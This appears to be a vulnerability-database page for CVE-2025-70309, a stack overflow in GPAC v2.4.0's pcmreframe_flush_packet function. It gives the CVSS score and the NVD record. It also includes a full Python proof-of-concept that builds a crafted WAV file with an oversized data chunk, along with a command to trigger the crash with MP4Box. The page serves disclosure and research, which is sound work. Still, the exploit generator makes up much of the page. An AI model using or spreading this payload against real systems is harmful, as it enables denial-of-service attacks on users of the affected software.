Security Vulnerability Report
中文
CVE-2025-70309 CVSS 5.5 MEDIUM

CVE-2025-70309

Published: 2026-01-15 17:16:06
Last Modified: 2026-01-23 17:34:42

Description

A stack overflow in the pcmreframe_flush_packet function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted WAV file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:* - VULNERABLE
GPAC v2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-70309 PoC - Malicious WAV file generator # This PoC generates a crafted WAV file to trigger stack overflow in GPAC pcmreframe_flush_packet import struct import sys def create_malicious_wav(filename): """ Generate a malicious WAV file that triggers stack overflow in GPAC The vulnerability is in pcmreframe_flush_packet function """ # WAV file header parameters sample_rate = 44100 num_channels = 2 bits_per_sample = 16 bytes_per_sample = bits_per_sample // 8 # Craft an abnormally large data size to trigger overflow # Normal WAV files have reasonable data sizes # Malicious file: excessive audio data chunk audio_data_size = 0xFFFFFFFF # Very large size to overflow stack buffer # WAV file header structure riff = b'RIFF' wave = b'WAVE' fmt = b'fmt ' data = b'data' # Format chunk (16 bytes for PCM) fmt_chunk_size = 16 audio_format = 1 # PCM byte_rate = sample_rate * num_channels * bytes_per_sample block_align = num_channels * bytes_per_sample # Build WAV file wav_header = riff wav_header += struct.pack('<I', 4 + (8 + fmt_chunk_size) + (8 + audio_data_size)) wav_header += wave # Format chunk wav_header += fmt wav_header += struct.pack('<I', fmt_chunk_size) wav_header += struct.pack('<H', audio_format) wav_header += struct.pack('<H', num_channels) wav_header += struct.pack('<I', sample_rate) wav_header += struct.pack('<I', byte_rate) wav_header += struct.pack('<H', block_align) wav_header += struct.pack('<H', bits_per_sample) # Data chunk header with malicious size wav_header += data wav_header += struct.pack('<I', audio_data_size) # Write malicious WAV file with open(filename, 'wb') as f: f.write(wav_header) # Write some initial data (will be processed before overflow) f.write(b'\x00' * 1024) print(f"[*] Malicious WAV file created: {filename}") print(f"[*] Audio data size set to: {audio_data_size} (0x{audio_data_size:08x})") print(f"[*] Target: GPAC v2.4.0 pcmreframe_flush_packet function") if __name__ == '__main__': output_file = sys.argv[1] if len(sys.argv) > 1 else 'malicious.wav' create_malicious_wav(output_file) print("[*] To trigger the vulnerability, open this file with GPAC") print("[*] Usage: MP4Box -add malicious.wav")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70309", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:06.240", "lastModified": "2026-01-23T17:34:42.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow in the pcmreframe_flush_packet function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted WAV file."}, {"lang": "es", "value": "Un desbordamiento de pila en la función pcmreframe_flush_packet de GPAC v2.4.0 permite a los atacantes causar una Denegación de Servicio (DoS) mediante un archivo WAV manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_rawpcm/GPAC_RFPCM.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}